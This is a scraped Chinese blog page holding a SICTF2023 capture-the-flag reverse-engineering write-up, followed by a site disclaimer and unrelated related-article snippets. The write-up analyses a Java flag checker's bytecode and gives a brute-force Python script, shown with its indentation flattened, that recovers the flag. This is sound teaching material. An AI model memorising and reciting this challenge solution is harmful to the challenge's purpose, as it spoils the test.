if_icmpge     380332: aload_1              //参数1333: iload         7335: aload_1                   //SICTF2023336: invokevirtual #69                 // Method java/lang/String.length:()I339: irem                       //余数340: invokevirtual #71                 // Method java/lang/String.charAt:(I)C343: istore        8           //key345: aload         4    //对象引用 347: iload         7    //整数引用  idx349: aload         6    //          明文351: iload         7    //          idx353: caload354: aload         6356: iload         7358: iconst_1             m[i]^  m[i+1]359: iadd360: caload361: ixor362: iload         8                 -key 364: isub365: iload         8                 ^key  367: ixor368: sipush        255               &255371: iand372: i2d373: dastore374: iinc          7, 1377: goto          322380: aload         4382: aload_3383: invokestatic  #72                 // Method java/util/Arrays.equals:([D[D)Z386: ifeq          400389: getstatic     #64                 // Field java/lang/System.out:Ljava/io/PrintStream;392: ldc           #73                 // String OH!You are right!\n394: invokevirtual #66                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V397: goto          408400: getstatic     #64                 // Field java/lang/System.out:Ljava/io/PrintStream;403: ldc           #74                 // String NO!You should try again!\n405: invokevirtual #66                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V408: iconst_0409: invokestatic  #75                 // Method java/lang/System.exit:(I)V412: return

开头的250多行是密文,存到数据里,为了恶心人专门转化成双精度,其实一点没变。

264-266将一个串SICTF023存入串1(key)

271-313读入flag存入bytearray并判断长度

320-329一个for循环

332-377加密:((flag[i]^flag[i+1]) - key[i%keylen])^key[i%keylen]还是比较麻烦的

由于头部已经可以很容易从头爆破

a = [148,136,151,234,177,48,226,234,214,177,168,176,151,250,19,20,253,52,72,176,170,140,176,236,54,231,212,237,135,151,150,135,217,231,229,32,90]#(((83^73)-83)^83)&255
key = b'SICTF2023'*5
b = [0]*38
b[0] = ord('S')
b[37] = ord('}')for i in range(1,38):for c in range(256):v = (((c^b[i-1])-key[i-1])^key[i-1])&0xffif v == a[i-1]:b[i] = c print(i,chr(c), bytes(b))break 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/128099.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STM32低功耗分析

1.ARM发布最新内核 2023 年5 月 29 日&#xff0c;Arm 公司今天发布了处理器核心&#xff1a;Cortex-X4、Cortex-A720 和Cortex-A520。这些核心都是基于 Arm v9.2 架构&#xff0c;只支持 64 位指令集&#xff0c;不再兼容 32 位应用。Arm 公司表示&#xff0c;这些核心在性能…

j解决Ubuntu无法安装pycairo和PyGObject

环境&#xff1a;虚拟机Ubuntu20.04&#xff0c;vscode无法安装pycairo和PyGObject 虚拟机Ubuntu20.04&#xff0c;vscode中运行Anaconda搭建的vens 的Python3.8.10 首先在vscode中点击ctrlshiftp&#xff0c;选择Python3.8.10的环境&#xff0c;自动激活Python 最近在搞无人…

使用 multiprocessing 多进程处理批量数据

示例代码 import multiprocessingdef process_data(data):# 这里是处理单个数据的过程return data * 2# 待处理的数据 data [1, 2, 3, 4, 5]def normal_func():# 普通处理方式result []for obj in data:result.append(process_data(obj)return resultdef parallel_func():# …

操作系统:四大特征(并发,共享,虚拟,异步)

1.并发 1.并发的定义 并发:指两个或多个事件在同一时间间隔内发生。 这些事件宏观上是同时发生的&#xff0c;但微观上是交替发生的。 值得注意的是&#xff0c;与并行&#xff08;指两个或多个事件在同一时刻同时发生&#xff09;区分开来。 2.操作系统的并发性 指计算机…

使用Vue + axios实现图片上传,轻松又简单

目录 一、Vue框架介绍 二、Axios 介绍 三、实现图片上传 四、Java接收前端图片 一、Vue框架介绍 Vue是一款流行的用于构建用户界面的开源JavaScript框架。它被设计用于简化Web应用程序的开发&#xff0c;特别是单页面应用程序。 Vue具有轻量级、灵活和易学的特点&#xf…

自适应迭代扩展卡尔曼滤波算法AIEKF估计SOC VS 扩展卡尔曼估计SOC

自适应迭代扩展卡尔曼滤波算法&#xff08;AIEK&#xff09; 自适应迭代扩展卡尔曼滤波算法&#xff08;AIEK&#xff09;是一种滤波算法&#xff0c;其目的是通过迭代过程来逐渐适应不同的状态和环境&#xff0c;从而优化滤波效果。 该算法的基本思路是在每一步迭代过程中&a…

AndroidStudio最下方显示不出来Terminal等插件

File->Settings->Plugins 然后在上面的输入框中输入Terminal&#xff0c;并将最右侧的对勾打上即可。 安装即可

Bootloader概述和Uboot

Bootloader 基本概念 什么是Bootloader? Bootloader是硬件启动的引导程序&#xff0c;是运行操作系统的前提&#xff1b;在操作系统内核或用户应用程序运行之前运行的一小段代码。对软硬件进行相应的初始化和设定&#xff0c;为最终运行操作系统准备好环境&#xff1b;在嵌入…

Linux中的软件管家——yum

目录 ​编辑 一&#xff0c;软件安装的方式 二&#xff0c;对yum的介绍 1.yum的作用 2&#xff0c;yum的库 三&#xff0c;yum下载软件的操作 1.yumlist 2.yuminstall 3.yumremove 四&#xff0c;yum源的转换 一&#xff0c;软件安装的方式 软件安装的方式大概分为三种…

解除百度安全验证

使用chrome浏览器用百度浏览时&#xff0c;一直弹百度安全验证&#xff1a; 在设置里进行重置&#xff1a; 然后重启浏览器就可以了。

vue+elementUI el-select 自定义搜索逻辑(filter-method)

下拉列表的默认搜索是搜索label显示label,我司要求输入id显示label名称 <el-form-item label"部门&#xff1a;"><el-select v-model"form.region1" placeholder"请选择部门" filterable clearable:filter-method"dataFilter&qu…

C# Emgu.CV+Tesseract实现识别图像验证码

效果图&#xff0c;简单的还行&#xff0c;复杂的。。。拉跨 懒得写讲解了&#xff0c;全部源码直接上吧 /// <summary>/// 验证码识别/// </summary>public partial class FrmCodeIdentify : FrmBase{private string _filePath;// 原图像Image<Bgr, byte> …

软路由的负载均衡设置:优化网络性能和带宽利用率

在现代网络环境中&#xff0c;提升网络性能和最大化带宽利用率至关重要。通过合理配置软路由IP的负载均衡设置&#xff0c;可以有效地实现这一目标&#xff0c;并提高整体稳定性与效果。本文将详细介绍如何进行软路由IP的负载均衡设置&#xff0c;从而优化网络表现、增加带宽利…

基于RabbitMQ的模拟消息队列之六——网络通信设计

自定义基于TCP的应用层通信协议。实现客户端对服务器的远程调用 编写服务器及客户端代码 文章目录 基于TCP的自定义应用层协议一、请求1.请求格式2.创建Request类 二、响应1.响应格式2.创建Response类 三、客户端-服务器交互四、type五、请求payload1.BasicAruguments(方法公共…

英国私校的艺术奖学金有哪些?申请要求和申请流程详解!

众所周知&#xff0c;英国私校不仅学术拔尖&#xff0c;在对学生艺术方面的培养也是毫不逊色的。几乎打开每一所英国私校的官网&#xff0c;都可以看到学校罗列的提供的各类课外艺术活动的精彩照片。      每个英国私校除了课后开设的五花八门的兴趣课外&#xff0c;还有各…

【c++】stringstream基础:实现数据类型转换和字符串分割

传统实现整型转换为字符串需要使用itoa或者sprintf&#xff0c;对于itoa和atoi的使用可以看文章&#xff1a; atoi和itoa极简无废话概述 但是用这两个函数进行转换时&#xff0c;所需要的空间事先不确定&#xff0c;所以可能造成程序崩溃&#xff0c;今天介绍的stringstream可…

数字 IC 设计职位经典笔/面试题(四)

共100道经典笔试、面试题目&#xff08;文末可全领&#xff09; 画出 CMOS 电路的晶体管级电路图,实现 YA*BC(DE).&#xff1f; 画出 YABC 的 CMOS 电路图&#xff0c;画出 YABCD 的 CMOS 电路图。 利用与非门和或非门实现 YABC(DE)((AB’)(CD)’(CE)’)’ 三个两输入与非门&a…

pc端字体为什么到12像素以后不生效

pc端字体为什么到12像素以后不生效&#xff1f; 因为谷歌浏览器默认的最小字体是12像素&#xff0c;如果去‘设置’里面修改最小字体&#xff0c;是可以达到修改效果的&#xff0c;但是&#xff0c;你不能解决用户的浏览器设置 解决办法如下 <p class"font">…

《C++设计模式》——结构型

前言 结构模式可以让我们把很多小的东西通过结构模式组合起来成为一个打的结构&#xff0c;但是又不影响各自的独立性&#xff0c;尽可能减少各组件之间的耦合。 Adapter Class/Object(适配器&#xff09; Bridge(桥接&#xff09; Composite(组合) Decorator(装饰) 动态…

【AI】《动手学-深度学习-PyTorch版》笔记(二十二):单发多框检测(SSD)

AI学习目录汇总 1、介绍 SSD(Single Shot MultiBox Detector)单发多框检测。“Single shot”说明SSD算法属于one-stage(一段式)方法,“MultiBox”说明SSD是多框预测(多尺度锚框/特征图)。 SSD和YOLO一样都是采用CNN网络执行one-stage(一段式)检测,区别是: YOLO速…